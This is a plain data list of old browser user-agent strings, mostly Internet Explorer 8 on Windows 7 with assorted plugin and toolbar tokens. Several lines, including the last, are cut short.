Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; QQDownload 661; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3029; Media Center PC 6.0; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3; .NET4.0C; TheWorld)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; .NET CLR 3.5.21022; SLCC1; Zune 4.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; InfoPath.2; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; InfoPath.3; .NET4.0C; Lunascape 6.3.4.23051)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; Tablet PC 2.0; OfficeLiveConnector.1.3; OfficeLivePatch.1.3; MS-RTC LM 8; InfoP\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; Tablet PC 2.0; TheWorld)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 3.0.04506; Media Center PC 5.0; SLCC1; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 3.0.30618; .NET4.0C; InfoPath.2; SLCC1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 3.0.30618; Media Center PC 5.0; MS-RTC LM 8; SLCC1; Tablet PC 2.0; MSSDMC2.5.2219.1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C) chromeframe/8.0.552.237\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2; Tablet PC 2.0; TheWorld)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.2; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; TheWorld)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; Zune 4.7; InfoPath.2; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; FDM; Tablet PC 2.0; .NET CLR 4.0.20506; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.1; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; SLCC1; MSSDMC2.5.2219.1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.1; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET CLR 1.1.4322; MS-RTC LM 8; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET CLR 1.1.4322; .NET4.0E; Zune 4.7)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; FDM)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8; Tablet PC 2.0; .NET CLR 1.1.4322; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET CLR 1.0.3705; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; MS-RTC LM 8; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; InfoPath.3; AskTbBT4/5.9.1.14019)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; Tablet PC 2.0; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Media Center PC 5.0; SLCC1; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C; Lunascape 6.3.\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; Zune 4.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; SLCC1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; SLCC1; Tablet PC 2.0; Lunascape 6.3.4.23051)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; .NET CLR 3.0.04506; Media Center PC 5.0; SLCC1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; InfoPath.1; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; InfoPath.1; TheWorld)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; InfoPath.2; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; MSSDMC2.5.2219.1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Tablet PC 2.0; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Tablet PC 2.0; .NET4.0C; AskTbPTV2/5.9.1.14019)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; OfficeLiveConnector.1.5; OfficeLivePatch.1.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; WOW64; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 3.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; chromeframe/10.0.648.151; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; chromeframe/12.0.742.100; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; chromeframe/28.0.1500.37; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; chromeframe; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; chromeframe; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; chromeframe; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; iCafeMedia; QQDownload 667; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; .NET4.0C; .NET4.0E; MS-RTC LM 8; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; FunWebProducts; GTB6.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; OfficeLiveConnector.1.5; OfficeLivePatch.\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB0.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB6.4; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MSSDMC2.5.2219.1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB6.5; KKMAN3.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB6.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB6.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB6.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB6.6; KKMAN3.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB6.6; KKMAN3.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB6.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB6.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; MEGAUPLOAD 1.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; KKMAN3.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; KKMAN3.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; MRA 5.5 (build 02842); GTB6.3; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; MRA 5.5 (build 02842); SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; TheWorld)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; Zune 4.0; .NET CLR 1.\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; QQPinyin 686; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3; .NET CLR 4.0.20506)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; AskTB5.6; TheWorld)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; InfoPath.2; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 4.0.20402; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MS-RTC EA 2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MS-RTC EA 2; MS-RTC LM 8; Zune 4.7)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; AskTB5.6)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.1; AskTbMYC/5.9.1.14019)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E; FDM)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; FDM; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; Lunascape 6.3.2.22803)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; MS-RTC LM 8; Zune 4.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; Zune 3.0; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; yie8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; Sleipnir/2.9.6)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; TheWorld)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; MS-RTC LM 8; Zune 4.7)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; Crazy Browser 2.0.1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; Zune 4.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; Zune 4.7)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; Zune 4.7; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; InfoPath.3; .NET4.0C; .NET4.0E) chromeframe/8.0.552.224\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 3.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; InfoPath.2; OfficeLiveConnector.1.5; OfficeLivePatch.1.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; msn OptimizedIE8;ZHCN)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 